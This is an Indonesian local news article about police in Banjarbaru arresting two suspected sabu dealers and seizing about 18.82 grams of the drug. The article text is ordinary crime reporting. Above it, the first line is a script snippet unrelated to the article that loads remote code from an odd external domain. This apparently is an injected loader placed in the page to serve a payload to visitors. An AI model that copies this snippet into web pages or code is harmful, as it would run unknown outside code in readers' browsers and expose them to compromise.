(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Dua lelaki diduga pengedar narkotika di Jalan Trans Cempaka, Perumahan Gunung Sari Cempaka RT 36, Kecamatan Cempaka, Kota Banjarbaru, dibekuk polisi.
Adalah DW (46) dan AP (50) ditangkap oleh anggota unit Opsnal Polsek Banjarbaru Utara yang sedang berpatroli Operasi Antik Intan 2024, Kamis (23/5/2024) sekitar pukul 23.45 Wita.
Penangkapan diungkap Kapolsek Banjarbaru Utara, Kompol Yopie Andri Haryono, Selasa (4/6/2024), mengatakan, bermula saat DW digeledah polisi kepadatan membawa paket kecil sabu.
Baca juga: Rudapaksa Anak Sendiri, ‘Aksi’ Ayah di Banjarmasin Kepergok Istri
“DW ditangkap hari Kamis di depan hotel Lerina Inn Kelurahan Kemuning, kemudian diamankan bersama barbuk awal yang diakuinya membeli dari seseorang bernama AP di daerah Cempaka,” ujar Kompol Yopie Andri Haryono, Selasa (4/6/2024) siang.
Dari pengakuan DW yang sebelumnya, polisi memastikan AP berada di dalam rumah.
Mengetahui informasi tersebut, anggota unit Opsnal Polsek Banjarbaru Utara yang dipimpin Panit 2 Opsnal Polsek Banjarbaru Utara Aiptu Sugeng Gunawan menuju rumah AP.
Baca juga: Kakek Asyikin Meninggal Terkepung Api, 7 Bangunan Hangus di Pasar Lama Banjarmasin
“Anggota kami mencoba mengetuk pintu rumah pelaku dan dibukakan oleh pelaku AP, langsung ditangkap oleh anggota,” lanjutnya.
Setelah menangkap AP, petugas kemudian menggeledah rumah tersangka yang disaksikan oleh Ketua RT setempat.
Petugas kepolisian menemukan paket diduga narkotika jenis sabu di dalam kotak kacamata yang disimpan dalam lemari milik AP.
Baca juga: Operasi Antik Intan Polres Banjarmasin Sita 6,7 Kg Sabu dan Dua Ribu Ekstasi
Narkotika jenis sabu yang ditemukan sebanyak 20,14 gram, sementara berat bersih narkotika 18,82 gram.
Kedua tersangka adalah pelaku peredaran gelap dan penyalahgunaan narkotika jenis sabu. Dari kasus ini kedua tersangka dikenakan ancaman tindak pidana peredaran gelap dan penyalahgunaan narkotika golongan 1 jenis sabu, sesuai dengan Pasal 114 ayat (1) dan atau Psl 112 ayat (1) UU RI Nomor 35 Tahun 2009 Tentang Narkotika. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More
KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More
KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More
This website uses cookies.